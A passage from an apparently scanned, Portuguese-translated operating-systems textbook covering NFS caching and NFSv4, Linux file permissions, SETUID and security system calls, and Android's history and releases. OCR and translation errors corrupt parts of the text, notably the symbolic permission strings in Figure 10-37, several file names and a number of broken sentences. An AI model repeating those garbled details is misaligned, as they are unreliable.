diretório montado e recupera um identificador de arquivo para ele. Ele cria um nó r para o 
arquivo remoto em suas tabelas e reporta à camada VFS, 
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que coloca em suas tabelas um nó v para o arquivo que aponta para o nó r. Novamente aqui vemos que 
cada arquivo ou diretório aberto tem um nó v que aponta para um nó r ou um nó i. 


O chamador recebe um descritor de arquivo para o arquivo remoto. Este descritor de arquivo é 
mapeado no nó v por tabelas na camada VFS. Observe que nenhuma entrada de tabela é feita no lado do 
servidor. Embora o servidor esteja preparado para fornecer identificadores de arquivo mediante solicitação, 
ele não controla quais arquivos possuem identificadores de arquivo em pé e quais não. Quando um 
identificador de arquivo é enviado a ele para acesso ao arquivo, ele verifica o identificador e, se for válido, 
utiliza-o. A validação pode incluir a verificação de uma chave de autenticação contida nos cabeçalhos 
RPC, se a segurança estiver habilitada. 

Quando o descritor de arquivo é usado em uma chamada de sistema subsequente, por exemplo, 
leitura, a camada VFS localiza o nó v correspondente e, a partir disso, determina se é local ou remoto e 
também qual nó i ou nó r o descreve. Em seguida, ele envia uma mensagem ao servidor contendo o 
identificador, o deslocamento do arquivo (que é mantido no lado do cliente, não no lado do servidor) e a 
contagem de bytes. Por razões de eficiência, as transferências entre cliente e servidor são feitas em grandes 
blocos, normalmente 8.192 bytes, mesmo que menos bytes sejam solicitados. O tamanho do bloco é 
configurável, até um limite, e deve ser múltiplo de 4 KB. 


Quando a mensagem de solicitação chega ao servidor, ela é passada para a camada VFS, que 
determina qual sistema de arquivos local contém o arquivo solicitado. A camada VFS então faz uma 
chamada para esse sistema de arquivos local para ler e retornar os bytes. Esses dados são então 
repassados ao cliente. Depois que a camada VFS do cliente obtém o pedaço de 8 KB solicitado, ela emite 
automaticamente uma solicitação para o próximo pedaço, para que o receba caso seja necessário em 
breve. Esse recurso, conhecido como leitura antecipada, melhora consideravelmente o desempenho. 


Para gravações, um caminho análogo é seguido do cliente ao servidor. Além disso, as transferências 
também são feitas em blocos de 8 KB. Se uma chamada de sistema de gravação fornecer menos de 8 KB 
de dados, os dados serão apenas acumulados localmente. Somente quando todo o bloco de 8 KB estiver 
cheio ele será enviado ao servidor. Entretanto, quando um arquivo é fechado, todos os seus dados são 
enviados imediatamente ao servidor. 

Outra técnica utilizada para melhorar o desempenho é o cache, como no UNIX comum. Os servidores 
armazenam dados em cache para evitar acessos ao disco, mas isso é invisível para os clientes. 

Os clientes mantêm dois caches, um para atributos de arquivo (i-nodes) e outro para dados de arquivo. 
Quando um i-node ou um bloco de arquivo é necessário, é feita uma verificação para ver se ele pode ser 
satisfeito fora do cache. Nesse caso, o tráfego de rede pode ser evitado. 

Embora o cache do cliente ajude enormemente o desempenho, ele também apresenta alguns 
problemas desagradáveis. Suponha que dois clientes estejam armazenando em cache o mesmo bloco de 
arquivo e um deles o modifique. Quando o outro lê o bloco, ele obtém o valor antigo (obsoleto). O cache 
não é coerente. 

Dada a gravidade potencial deste problema, a implementação do NFS faz diversas coisas para mitigá- 
lo. Por um lado, associado a cada bloco de cache está um temporizador. 

Quando o cronômetro expirar, a entrada será descartada. Normalmente, o temporizador é de 3 segundos 
para blocos de dados e 30 segundos para blocos de diretório. Fazer isso reduz um pouco o risco. Em 
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Além disso, sempre que um arquivo em cache é aberto, uma mensagem é enviada ao servidor para localizar 
saiu quando o arquivo foi modificado pela última vez. Se a última modificação ocorreu após o local 
cópia foi armazenada em cache, a cópia do cache é descartada e a nova cópia obtida do 

servidor. Finalmente, a cada 30 segundos, um temporizador de cache expira e todos os blocos sujos (isto é, 
modificados) no cache são enviados ao servidor. Embora não sejam perfeitos, esses patches 


tornar o sistema altamente utilizável na maioria das circunstâncias práticas. 


Versão 4 do NFS 


A versão 4 do Network File System foi projetada para simplificar certas operações de seu antecessor. Em 
contraste com o NSFv3, descrito acima, o NFSv4 
é um sistema de arquivos com estado . Isso permite que operações abertas sejam invocadas remotamente 
arquivos, uma vez que o servidor NFS remoto manterá todas as estruturas relacionadas ao sistema de arquivos, 
incluindo o ponteiro do arquivo. As operações de leitura não precisam incluir leitura absoluta 
intervalos, mas pode ser aplicado de forma incremental a partir da posição anterior do ponteiro do arquivo. 
Isso resulta em mensagens mais curtas e também na capacidade de agrupar vários NFSv3 
operações em uma transação de rede. 

A natureza stateful do NFSv4 facilita a integração da variedade de NFSv3 
protocolos descritos anteriormente nesta seção em um protocolo coerente. Não há 
precisam suportar protocolos separados para montagem, armazenamento em cache, bloqueio ou operações 
seguras. O NFSv4 também funciona melhor com a semântica do sistema de arquivos Linux (e UNIX em geral) 
e Windows. 


10.7 SEGURANÇA NO LINUX 


O Linux, como um clone do MINIX e do UNIX, tem sido um sistema multiusuário quase 
do começo. Esta história significa que a segurança e o controle da informação 
foi construído muito cedo. Nas seções a seguir, veremos alguns dos 
aspectos de segurança do Linux. 


10.7.1 Conceitos Fundamentais 


A comunidade de usuários de um sistema Linux consiste em um certo número de usuários registrados 
usuários, cada um dos quais possui um UID (ID do usuário) exclusivo. Um UID é um número inteiro entre O 
e 65.535. Arquivos (mas também processos e outros recursos) são marcados com o 
UID de seu proprietário. Por padrão, o proprietário de um arquivo é a pessoa que criou o 
arquivo, embora haja uma maneira de alterar a propriedade. 

Os usuários podem ser organizados em grupos, que também são numerados com números inteiros de 
16 bits chamados GIDs (Group IDs). A atribuição de usuários a grupos é feita manualmente (por 
o administrador do sistema) e consiste em fazer entradas em um banco de dados do sistema informando qual 
usuário está em qual grupo. Um usuário pode estar em um ou mais grupos no 


mesmo tempo. Para simplificar, não discutiremos mais esse recurso. 
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O mecanismo básico de segurança no Linux é simples. Cada processo carrega o UID 
e GID de seu proprietário. Quando um arquivo é criado, ele obtém o UID e o GID do processo de criação. 
O arquivo também recebe um conjunto de permissões determinadas pelo processo de criação. Essas 
permissões especificam qual acesso o proprietário, os outros membros do 
grupo do proprietário e o restante dos usuários têm o arquivo. Para cada uma dessas três categorias, os 
acessos potenciais são leitura, escrita e execução, designados pelas letras r, 
w e x, respectivamente. A capacidade de executar um arquivo só faz sentido se esse arquivo for 
um programa binário executável, é claro. Uma tentativa de executar um arquivo que tenha 
permissão de execução, mas que não é executável (ou seja, não começa com um valor válido 
cabeçalho) falhará com um erro. Como existem três categorias de usuários e 3 bits 
por categoria, 9 bits são suficientes para representar os direitos de acesso. Alguns exemplos de 
esses números de 9 bits e seus significados são apresentados na Figura 10.37. 


Binário Simbólico Acessos permitidos a arquivos 
111000000 rwx+—— O proprietário pode ler, escrever e executar 
111111000 rwxrwx— Proprietário e grupo podem ler, escrever e executar 
110100000 nv-—— O proprietário sabe ler e escrever: grupo pode ler 
110100100 rw=- =r- — O proprietário sabe ler e escrever; todos os outros podem ler 
111101101 nyxi-xr—= O proprietário pode fazer tudo, o resto pode ler e executar 
000000000 ————— Ninguém tem acesso 
000000111 —— -rwx Somente pessoas de fora têm acesso (estranho, mas legal) 


Figura 10-37. Alguns exemplos de modos de proteção de arquivos. 

As duas primeiras entradas na Figura 10.37 permitem ao proprietário e ao grupo do proprietário 
acesso, respectivamente. O próximo permite que o grupo do proprietário leia o arquivo, mas não 
para alterá-lo e impede o acesso de pessoas de fora. A quarta entrada é comum 
para um arquivo de dados que o proprietário deseja tornar público. Da mesma forma, a quinta entrada é a 
habitual para um programa disponível publicamente. A sexta entrada nega todo acesso a todos 
Usuários. Este modo às vezes é usado para arquivos fictícios usados para exclusão mútua 
porque uma tentativa de criar tal arquivo falhará se já existir um. Assim, se vários processos tentarem 
simultaneamente criar tal arquivo como um bloqueio, apenas um deles 
eles terão sucesso. O último exemplo é realmente estranho, pois dá ao resto do 
mundo mais acesso do que o proprietário. No entanto, a sua existência decorre das regras de proteção. 
Felizmente, existe uma maneira de o proprietário alterar posteriormente o 
modo de proteção, mesmo sem ter acesso ao próprio arquivo. 

O usuário com UID O é especial e é chamado de superusuário (ou root). O 
superusuário tem o poder de ler e gravar todos os arquivos do sistema, não importa quem 
os possui e não importa como eles são protegidos. Processos com UID 0 também possuem 
a capacidade de fazer um pequeno número de chamadas de sistema protegidas negadas ao comum 
Usuários. Normalmente, apenas o administrador do sistema conhece a senha do superusuário, 
embora muitos estudantes de graduação considerem um ótimo esporte tentar buscar segurança 
falhas no sistema para que possam fazer login como superusuário sem saber a senha. A administração 
tende a desaprovar tal atividade. 
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Diretórios são arquivos e possuem os mesmos modos de proteção que os arquivos comuns, 
exceto que os x bits se referem à permissão de pesquisa em vez da permissão de execução. 
Assim, um diretório com modo rwxr-xr-x permite que seu proprietário leia, modifique e pesquise 
o diretório, mas permite que outros apenas o leiam e pesquisem, mas não adicionem ou removam 
arquivos dele. 

Arquivos especiais correspondentes aos dispositivos de E/S possuem os mesmos bits de 
proteção que os arquivos normais. Este mecanismo pode ser usado para limitar o acesso a 
dispositivos de E/S. Por exemplo, o arquivo especial da impressora, /dev/Ip, pode pertencer ao 
root ou a um usuário especial, daemon, e ter o modo rw- — — — — — — para impedir que todos os 


outros acessem diretamente a impressora. Afinal, se todos pudessem imprimir à vontade, o 
resultado seria o caos. 


— significa que ninguém mais pode usar a impressora. Embora isso salvasse muitas árvores 
inocentes de uma morte prematura, às vezes os usuários têm uma necessidade legítima de 
imprimir algo. Na verdade, existe um problema mais geral de permitir acesso controlado a todos 
os dispositivos de E/S e outros recursos do sistema. 

Este problema foi resolvido adicionando um novo bit de proteção, o bit SETUID, aos 9 bits 
de proteção discutidos acima. Quando um programa com o bit SETUID ativado é executado, o 
UID efetivo para esse processo se torna o UID do proprietário do arquivo executável em vez do 
UID do usuário que o invocou. Quando um processo tenta abrir um arquivo, é o UID efetivo que 
é verificado, não o UID real subjacente. Ao fazer com que o programa que acessa a impressora 
seja de propriedade do daemon, mas com o bit SETUID ativado, qualquer usuário poderá executá- 
lo e ter o poder do dae mon (por exemplo, acesso a /dev/lp), mas apenas para executar esse 
programa (que pode enfileirar trabalhos de impressão para impressão ordenada). 


Muitos programas Linux sensíveis são de propriedade do root, mas com o bit SETUID 
ativado. Por exemplo, o programa que permite aos usuários alterar suas senhas, passwd, precisa 
escrever no arquivo de senhas. Tornar o arquivo de senha gravável publicamente não seria uma 
boa ideia. Em vez disso, existe um programa que pertence ao root e que possui o bit SETUID 
ativado. Embora o programa tenha acesso completo ao arquivo de senhas, ele alterará apenas a 
senha do chamador e não permitirá nenhum outro acesso ao arquivo de senhas. 


Além do bit SETUID, existe também um bit SETGID que funciona de forma análoga, 
fornecendo temporariamente ao usuário o GID efetivo do programa. Na prática, entretanto, esse 
bit raramente é usado. 


10.7.2 Chamadas de sistema de segurança no Linux 


Há apenas um pequeno número de chamadas de sistema relacionadas à segurança. Os 
mais importantes estão listados na Figura 10.38. A chamada de sistema de segurança mais 
usada é chmod. É usado para alterar o modo de proteção. Por exemplo, 


s = chmod("/usr/ast/newgame", 0755); 
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define newgame como rwxr-xr-x para que todos possam executá-lo (observe que 0755 é um octal 
constante, o que é conveniente, já que os bits de proteção vêm em grupos de 3 bits). 
Somente o proprietário de um arquivo e o superusuário podem alterar seus bits de proteção. 


Chamada do Descrição 
sistema s = chmod(caminho, Alterar o modo de proteção de um arquivo 
modo) s = acesso(caminho, Verifique o acesso usando o UID e GID reais 
modo) uid = Obtenha o UID real 
getuid() uid = Obtenha o UID efetivo 
geteuid() gid = Obtenha o GID real 
getgid() gid = Obtenha o GID efetivo 
getegid( ) s = chown(caminho, proprietário, grupo) Alterar proprietário e grupo 
s = setuid(uid) s = Defina o UID 
setgid(gid) Definir o GID 


Figura 10-38. Algumas chamadas de sistema relacionadas à segurança. O código de retorno s é 1 se 


ocorreu um erro; uid e gid são o UID e o GID, respectivamente. Os parâmetros devem ser 
autoexplicativos. 


A chamada de acesso testa se um determinado acesso seria permitido usando o 
UID e GID reais. Esta chamada de sistema é necessária para evitar falhas de segurança em programas 
SETUID e de propriedade do root. Esse programa pode fazer qualquer coisa, 
e às vezes é necessário que o programa descubra se o usuário tem permissão para 
realizar um determinado acesso. O programa não pode simplesmente experimentar, pois o acesso será 
sempre ter sucesso. Com a chamada de acesso , o programa pode descobrir se o acesso está 
permitido pelo UID real e pelo GID real. 

As próximas quatro chamadas de sistema retornam os UIDs e GIDs reais e efetivos. O 
os três últimos são permitidos apenas para o superusuário. Eles alteram o proprietário de um arquivo e um 
processar' UID e GID. 


10.7.3 Implementação de Segurança no Linux 


Quando um usuário efetua login, o programa de login, login (que é SETUID root) solicita 
um nome de login e uma senha. Ele faz o hash da senha e depois procura no arquivo de senha, /etc/ 
passwa, para ver se o hash corresponde ao que está lá (sistemas em rede 
funcionam de maneira um pouco diferente). A razão para usar hashes é evitar que a senha 
sejam armazenados de forma não criptografada em qualquer lugar do sistema. Se a senha for 
correto, o programa de login procura em /etc/passwd para ver o nome do shell preferido do usuário, 
possivelmente bash, mas possivelmente algum outro shell como csh ou ksh. O 
o programa de login então usa setuid e setgid para fornecer o UID e GID do usuário 
(lembre-se, começou como SETUID root). Em seguida, abre o teclado para entrada padrão (descritor de 
arquivo 0), a tela para saída padrão (descritor de arquivo 1) e 
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a tela de erro padrão (descritor de arquivo 2). Finalmente, ele executa o preferido 
shell, encerrando-se assim. 

Neste ponto, o shell preferido está sendo executado com o UID e GID corretos e 
entrada, saída e erro padrão, todos configurados para seus dispositivos padrão. Todos os processos que 
forks off (ou seja, comandos digitados pelo usuário) herdam automaticamente o UID do shell 
e GID, então eles também terão o proprietário e o grupo corretos. Todos os arquivos que eles criam 
também obtenha esses valores. 

Quando qualquer processo tenta abrir um arquivo, o sistema primeiro verifica os bits de proteção no i- 
node do arquivo em relação ao UID efetivo e ao GID efetivo do chamador para 
veja se o acesso é permitido. Nesse caso, o arquivo é aberto e um descritor de arquivo é retornado. 
Caso contrário, o arquivo não será aberto e 1 será retornado. Nenhuma verificação é feita em 
ler ou escrever chamadas. Como consequência, se o modo de proteção for alterado após um arquivo ser 
já aberto, o novo modo não afetará os processos que já possuem o arquivo 
abrir. 

O modelo de segurança do Linux e sua implementação são essencialmente os mesmos do 
a maioria dos outros sistemas UNIX tradicionais. 


10.8 ANDRÓIDE 


O Android é um sistema operacional relativamente novo projetado para rodar em dispositivos móveis. 
Ele é baseado no kernel do Linux — o Android introduz apenas alguns novos conceitos no próprio kernel do 
Linux, usando a maioria dos recursos do Linux que você já conhece. 
familiarizado com (processos, IDs de usuário, memória virtual, sistemas de arquivos, agendamento, etc.) 
às vezes de maneiras muito diferentes das originalmente pretendidas. 

Desde a sua introdução em 2008, o Android tornou-se o dispositivo mais utilizado 
sistemas operacionais do mundo com, até o momento em que este livro foi escrito, mais de 3 bilhões mensais 
usuários ativos apenas do sabor Google do Android. Sua popularidade aumentou 
a explosão dos smartphones e está disponível gratuitamente para fabricantes de dispositivos móveis 
dispositivos para usar em seus produtos. É também uma plataforma de código aberto, tornando-a 
personalizável para uma grande variedade de dispositivos. É popular não apenas para dispositivos centrados 
no consumidor, onde seu ecossistema de aplicativos de terceiros é vantajoso 
(como tablets, televisões, sistemas de jogos e reprodutores de mídia), mas é cada vez mais 
usado como sistema operacional incorporado para dispositivos dedicados que precisam de uma interface gráfica de usuário 
como relógios inteligentes, painéis automotivos, encostos de assentos de aviões, dispositivos médicos e 
eletrodomésticos. 

Grande parte do sistema operacional Android é escrita em uma linguagem de alto nível, a linguagem 
de programação Java. O kernel e um grande número de bibliotecas de baixo nível são escritos em Ce C++. 
No entanto, uma grande parte do sistema é 
escrito em Java e, com algumas pequenas exceções, toda a API do aplicativo é 
escrito e publicado em Java também. As partes do Android escritas em Java tendem a 
siga um design muito orientado a objetos, conforme incentivado por essa linguagem. 
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10.8.1 Android e Google 


O Android é um sistema operacional incomum na forma como combina código aberto 
código com aplicativos de terceiros de código fechado. A parte de código aberto do Android 
é chamado de AOSP (Android Open Source Project) e é totalmente aberto e 
livre para ser usado e modificado por qualquer pessoa. 
Um objetivo importante do Android é oferecer suporte a um ambiente rico de aplicativos de terceiros, o que 
requer uma implementação estável e uma API para aplicativos. 
para concorrer. No entanto, em um mundo de código aberto, onde cada fabricante de dispositivos pode 
personalizar a plataforma da maneira que desejar, os problemas de compatibilidade rapidamente 
surgir. Precisa haver alguma maneira de controlar esse conflito. 
Parte da solução para isso no Android é o CDD (Definição de Compatibilidade 
Documento), que descreve as maneiras como o Android deve se comportar para ser compatível com 
aplicativos de terceiros. Este documento descreve o que é necessário para ser um dispositivo Android compatível. 
Sem alguma forma de impor tal compatibilidade, no entanto, 
será frequentemente ignorado; é preciso haver algum mecanismo adicional para fazer isso. 
O Android resolve isso permitindo a criação de serviços proprietários adicionais 
no topo da plataforma de código aberto, fornecendo serviços (normalmente baseados em nuvem) que 
a plataforma não pode implementar por si só. Como esses serviços são proprietários, eles podem 
restringir quais dispositivos podem incluí-los, exigindo assim a compatibilidade CDD desses dispositivos. 


O Google implementou o Android para poder oferecer suporte a uma ampla variedade de serviços de 
nuvem proprietários, sendo o extenso conjunto de serviços do Google representativo. 
casos: Gmail, sincronização de calendário e contatos, mensagens da nuvem para o dispositivo e muitos 
outros serviços, alguns visíveis para o usuário, outros não. Quando se trata de oferecer aplicativos compatíveis, 
o serviço mais importante é o Google Play. 

Google Play é a loja online do Google para aplicativos Android. Geralmente, quando os desenvolvedores 
criam aplicativos Android, eles publicam no Google Play. Desde 
O Google Play (ou qualquer outra loja de aplicativos) é um canal significativo através do qual 
aplicativos são entregues a um dispositivo Android, esse serviço proprietário é responsável por garantir que os 
aplicativos funcionarão nos dispositivos para os quais são entregues. 

O Google Play usa dois mecanismos principais para garantir a compatibilidade. O primeiro e 
o mais importante é exigir que qualquer dispositivo enviado com ele seja compatível 
Dispositivo Android de acordo com o CDD. Isso garante uma linha de base de comportamento em todos os 
dispositivos. Além disso, o Google Play deve conhecer todos os recursos de um dispositivo que um 
aplicativo requer (como ter uma tela sensível ao toque, hardware de câmera ou telefonia 


suporte) para que o aplicativo não seja disponibilizado em dispositivos que não o possuam. 


10.8.2 História do Android 


O Google desenvolveu o Android em meados dos anos 2000, após adquirir o Android como um 
empresa iniciante no início de seu desenvolvimento. Quase todo o desenvolvimento do 


A plataforma Android que existe hoje foi feita sob a gestão do Google. 
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Desenvolvimento precoce 


Android, Inc. foi uma empresa de software fundada para desenvolver software para criar 
dispositivos móveis mais inteligentes. Olhando originalmente para câmeras, a visão logo mudou para 
smartphones devido ao seu maior mercado potencial. Esse objetivo inicial cresceu para resolver a 
dificuldade então atual no desenvolvimento para dispositivos móveis, trazendo para 
eles uma plataforma aberta construída sobre Linux que poderia ser amplamente utilizada. 

Durante este período, foram implementados protótipos da interface de utilizador da plataforma para 
demonstrar as ideias subjacentes. A própria plataforma tinha como alvo três 
linguagens-chave, JavaScript, Java e C++, para oferecer suporte a um rico ambiente de desenvolvimento 
de aplicativos. 

O Google adquiriu o Android em julho de 2005, fornecendo os recursos necessários e 
suporte de serviço em nuvem para continuar o desenvolvimento do Android como um produto completo. A 
um grupo relativamente pequeno de engenheiros trabalhou em conjunto durante esse período, começando a 
desenvolver a infra-estrutura central para a plataforma e as fundações para o nível superior 
desenvolvimento de aplicações. 

No início de 2006, foi feita uma mudança significativa no plano: em vez de suportar múltiplas 
linguagens de programação, a plataforma se concentraria inteiramente na linguagem de programação Java 
para o desenvolvimento de suas aplicações. Esta foi uma mudança difícil, 
já que a abordagem multilíngue original manteve superficialmente todos satisfeitos com “o 
o melhor de todos os mundos”; focar em um idioma parecia um retrocesso para os engenheiros 
que preferiam outras línguas. 

Tentar fazer todo mundo feliz, entretanto, pode facilmente não deixar ninguém feliz. 

Construir três conjuntos diferentes de APIs de linguagem exigiria muito mais 

esforço do que focar em um único idioma, reduzindo bastante a qualidade de cada um. 

A decisão de focar na linguagem Java foi crítica para a qualidade final do 

a plataforma e a capacidade da equipe de desenvolvimento de cumprir prazos importantes. 

À medida que o desenvolvimento avançava, a plataforma Android foi desenvolvida em estreita colaboração com 
os aplicativos que acabariam sendo fornecidos com ele. O Google já tinha uma ampla 
variedade de serviços, incluindo Gmail, Maps, Agenda, YouTube e, claro, 

Pesquisa — isso seria entregue no Android. Conhecimento adquirido de 

a implementação desses aplicativos no topo da plataforma inicial foi realimentada em seu 
projeto. Este processo iterativo com as aplicações permitiu muitas falhas de projeto em 

a plataforma a ser abordada no início de seu desenvolvimento. 

A maior parte do desenvolvimento inicial de aplicativos foi feita com pouca parte da plataforma 
subjacente realmente disponível para os desenvolvedores. A plataforma normalmente rodava toda dentro 
de um processo, através de um "simulador" que rodava todo o sistema e 
aplicativos como um único processo em um computador host. Na verdade ainda existem alguns 
resquícios dessa implementação antiga que existe hoje, com coisas como o método Application.onTer 
minate ainda no SDK (Software Dev elopment Kit), que 
Os programadores Android usam para escrever aplicativos. 

Em junho de 2006, dois dispositivos de hardware foram selecionados como dispositivos de desenvolvimento de software. 


metas para produtos planejados. O primeiro, codinome “Sooner”, foi baseado em um 
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smartphone existente com teclado QWERTY e tela sem entrada de toque. 

O objetivo deste dispositivo era lançar um produto inicial o mais rápido possível, aproveitando o 
hardware existente. O segundo dispositivo alvo, de codinome “Dream”, foi projetado 
especificamente para Android, para executá-lo conforme totalmente previsto. Inclufa uma grande 
tela sensível ao toque (para a época), teclado QWERTY deslizante, rádio 3G (para navegação 
mais rápida na Web), acelerômetro, GPS e bússola (para suporte ao Google Maps), 

etc. 

À medida que o cronograma de software ficou mais claro, ficou claro que os dois 
cronogramas de hardware não faziam sentido. Quando fosse possível lançar o Sooner, esse 
hardware estaria bem desatualizado, e o esforço colocado no Sooner estava empurrando para 
fora o dispositivo Dream, mais importante. Para resolver isso, foi decidido abandonar o Sooner 
como dispositivo alvo (embora o desenvolvimento nesse hardware tenha continuado por algum 
tempo até que o hardware mais novo estivesse pronto) e focar inteiramente no Dream. 


Android 1.0 


A primeira disponibilidade pública da plataforma Android foi um SDK de visualização 
lançado em novembro de 2007. Ele consistia em um emulador de dispositivo de hardware 
executando uma imagem completa do sistema de dispositivo Android e aplicativos principais, 
documentação de API e um ambiente de desenvolvimento. Nesse ponto, o design e a 
implementação principais estavam em vigor e, em muitos aspectos, se assemelhavam muito à 
arquitetura moderna do sistema Android que discutiremos. O anúncio incluiu demonstrações 
em vídeo da plataforma rodando no hardware Sooner e Dream. 

O desenvolvimento inicial do Android foi feito sob uma série de marcos de demonstração 
trimestrais para impulsionar e mostrar o processo contínuo. O lançamento do SDK foi o primeiro 
lançamento mais formal da plataforma. Foi necessário reunir todas as peças que haviam sido 
reunidas até então para o desenvolvimento de aplicativos, limpá-las, documentá-las e criar um 
ambiente de desenvolvimento coeso para desenvolvedores terceirizados. 

O desenvolvimento agora prosseguiu em dois caminhos: recebendo feedback sobre o SDK 
para refinar e finalizar ainda mais as APIs, e finalizar e estabilizar a implementação necessária 
para enviar o dispositivo Dream. Várias atualizações públicas do SDK ocorreram durante esse 
período, culminando em uma versão 0.9 em agosto de 2008 que continha as APIs quase finais. 


A plataforma em si estava passando por um rápido desenvolvimento e, na primavera de 
2008, o foco estava mudando para a estabilização para que o Dream pudesse ser lançado. 
Nesse ponto, o Android continha uma grande quantidade de código que nunca havia sido 
enviado como um produto comercial, desde partes da biblioteca C, passando pelo interpretador 
Dalvik (e mais tarde ART) (que executa os aplicativos), serviços do sistema e formulários. 


O Android também continha algumas ideias de design inovadoras que nunca haviam sido 
feitas antes, e não estava claro como elas funcionariam. Tudo isso precisava se unir como um 
produto estável, e a equipe passou alguns meses de roer as unhas imaginando se tudo isso 
realmente funcionaria como planejado. 
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Finalmente, em agosto de 2008, o software estava estável e pronto para ser lançado. As 
compilações foram para a fábrica e começaram a ser instaladas nos dispositivos. Em setembro, o 
Android 1.0 foi lançado no dispositivo Dream, agora chamado de T-Mobile G1. 


Desenvolvimento Contínuo 


Após o lançamento do Android 1.0, o desenvolvimento continuou em ritmo acelerado. Houve 
cerca de 15 atualizações importantes na plataforma nos 5 anos seguintes, adicionando uma grande 
variedade de novos recursos e melhorias desde a versão 1.0 inicial. 

O Documento de Definição de Compatibilidade original permitia basicamente apenas dispositivos 
compatíveis que eram muito parecidos com o T-Mobile G1. Nos anos seguintes, a gama de dispositivos 
compatíveis se expandiria bastante. Os pontos-chave deste processo foram os seguintes: 


1. Durante 2009, as versões 1.5 a 2.0 do Android introduziram um teclado virtual para 
remover a necessidade de um teclado físico, suporte de tela muito mais extenso 
(tamanho e densidade de pixels) para dispositivos QVGA de baixo custo e novos 
dispositivos maiores e de maior densidade, como o WVGA. Motorola Droid e um novo 
recurso de “recurso do sistema” para que os dispositivos relatem quais recursos de 
hardware eles suportam e os aplicativos indiquem quais recursos de hardware eles 
exigem. Este último é o principal mecanismo que o Google Play usa para determinar 
a compatibilidade do aplicativo com um dispositivo específico. 


2. Durante 2011, as versões 3.0 a 4.0 do Android introduziram um novo suporte principal 
na plataforma para tablets de 10 polegadas e maiores; a plataforma principal agora 
oferece suporte total a tamanhos de tela de dispositivos em todos os lugares, desde 
pequenos telefones QVGA, passando por smartphones e “phablets” maiores, tablets 
de 7 polegadas e tablets maiores até mais de 10 polegadas. 


3. À medida que a plataforma fornecia suporte integrado para hardware mais diversificado, 
não apenas telas maiores, mas também dispositivos não sensíveis ao toque, com ou 
sem mouse, surgiram muitos outros tipos de dispositivos Android. Isso incluiu 
dispositivos de TV como Google TV, dispositivos de jogos, notebooks, câmeras, etc. 


Um trabalho significativo de desenvolvimento também se concentrou em algo não tão visível: 
uma separação mais clara entre os serviços proprietários do Google e a plataforma de código aberto 
Android. 

Para o Android 1.0, muito trabalho foi feito para ter uma API limpa de aplicativos de terceiros e 
uma plataforma de código aberto sem dependências de código proprietário do Google. Porém, muitas 
vezes a implementação do código proprietário do Google ainda não era limpa, possuindo dependências 
de partes internas da plataforma. Muitas vezes a plataforma nem sequer tinha facilidades que os 
proprietários do Google 
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código necessário para se integrar bem a ele. Uma série de projetos foram logo 
empreendidos para resolver estas questões: 


1. Em 2009, a versão 2.0 do Android introduziu uma arquitetura para terceiros conectarem seus 
próprios adaptadores de sincronização às APIs da plataforma, como o banco de dados de 


contatos. O código do Google para sincronizar vários dados foi movido para este 
API SDK bem definida. 


2. Em 2010, a versão 2.2 do Android incluiu trabalhos de design interno 
e implementação do código proprietário do Google. Este "ótimo 
desagregação" implementou de forma limpa muitos serviços essenciais do Google, desde 
fornecendo atualizações de software de sistema baseadas em nuvem para "cloud-to-device 
mensagens" e outros serviços em segundo plano, para que pudessem ser 
entregue e atualizado separadamente da plataforma. 


3. Em 2012, um novo aplicativo Google Play Services foi entregue aos dispositivos, contendo 
recursos novos e atualizados para aplicativos proprietários do Google. 
serviços não aplicativos. Este foi o resultado da separação 
funcionar em 2010, permitindo que APIs proprietárias, como mensagens e mapas da 
nuvem para o dispositivo, sejam totalmente entregues e atualizadas pelo Google. 


Desde então, tem havido uma série regular de lançamentos do Android. Abaixo estão os 
principais lançamentos, com destaques selecionados das mudanças em cada lançamento relacionadas ao 
sistema operacional principal. Vários deles serão abordados com mais detalhes posteriormente. 


1. Android 4.2 (2012): Adicionado suporte para separação multiusuário (permitindo que 
diferentes pessoas compartilhem um dispositivo em usuários isolados). SELinux 
introduzido em modo não obrigatório. 


2. Android 4.3 (2013): Multiusuário estendido para ativar "restrito 
usuários," podem criar ambientes restritos para crianças, modos quiosque, 
sistemas de ponto de venda, etc. 


3. Android 4.4 (2013): SELinux agora aplicado em sistemas operacionais. O Android Runtime 
(ART) é apresentado como uma prévia do desenvolvedor 
e mais tarde substituirá a máquina virtual Dalvik original. O ART apresenta compilação 


antecipada e um novo coletor de lixo simultâneo para evitar paralisações do GC que 
causam a perda de quadros da UI. 


4. Android 5.0 (2014): Introduziu o JobScheduler, que seria 
a base futura para os aplicativos agendarem quase todos os seus 
trabalho em segundo plano com o sistema. Multiusuário estendido para suporte 
"perfis" onde dois usuários executam simultaneamente sob identidades diferentes 
(normalmente fornecendo um perfil pessoal e de trabalho simultâneo que é 
isolados um do outro). Introduzidos recentes centrados em documentos 
modelo, onde tarefas recentes podem incluir documentos ou outras subseções de uma 
aplicação geral. Adicionado suporte para aplicativos de 64 bits. 
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5. Android 6.0 (2015): modelo de permissão alterado de tempo de instalação para 
tempo de execução, refletindo uma mudança de foco da segurança para a privacidade e o 
crescente complexidade das aplicações móveis com um número crescente 
de características secundárias. Introduziu o "modo cochilo" original para tirar uma 
mão mais forte sobre o que os aplicativos podem fazer em segundo plano. Segurança é 
sobre proteger o dispositivo e o usuário contra danos causados por terceiros, enquanto a 
privacidade se concentra em proteger as informações do usuário 
de bisbilhotar. Eles são bastante diferentes e precisam de abordagens diferentes. 


6. Android 7.0 (2016): "modo soneca" estendido para cobrir a maioria das situações 
quando a tela está desligada. Em todos os dispositivos alimentados por bateria, gerenciado 
O uso de energia para evitar descarregar a bateria muito rapidamente é crucial para o 
experiência do usuário, então no Android 7.0 houve mais atenção a isso. 


7. Android 8.0 (2017): Uma nova abstração, cnamada Treble, foi introduzida 
entre o sistema Android e o hardware de nível inferior afetado pelo 
kernel e drivers. Semelhante ao HAL (camada de abstração de hardware) 
no kernel do Windows, o Treble fornece uma interface estável entre o 
grande parte do kernel e drivers específicos do Android e de hardware. Ele é estruturado 
como um microkernel com drivers Treble executados em processos de espaço de usuário 
separados e Binder IPC (abordado posteriormente) usado para comunicação 
com eles. Também colocou fortes limites sobre como os aplicativos poderiam ser executados 
em segundo plano, bem como a diferenciação entre fundo vs. 
primeiro plano para acesso à localização. 


8. Android 9 (2018): Limitou a capacidade de lançamento de aplicativos em 
sua interface em primeiro plano durante a execução em segundo plano. Introduzida a 
“bateria adaptativa”, onde um sistema de aprendizado de máquina ajuda 
orientar o sistema na decisão da importância do trabalho em segundo plano em aplicações 
cruzadas. 


9. Android 10 (2019): Fornece controle ao usuário sobre a capacidade de um aplicativo 
acessar informações de localização em segundo plano. Introduzido 
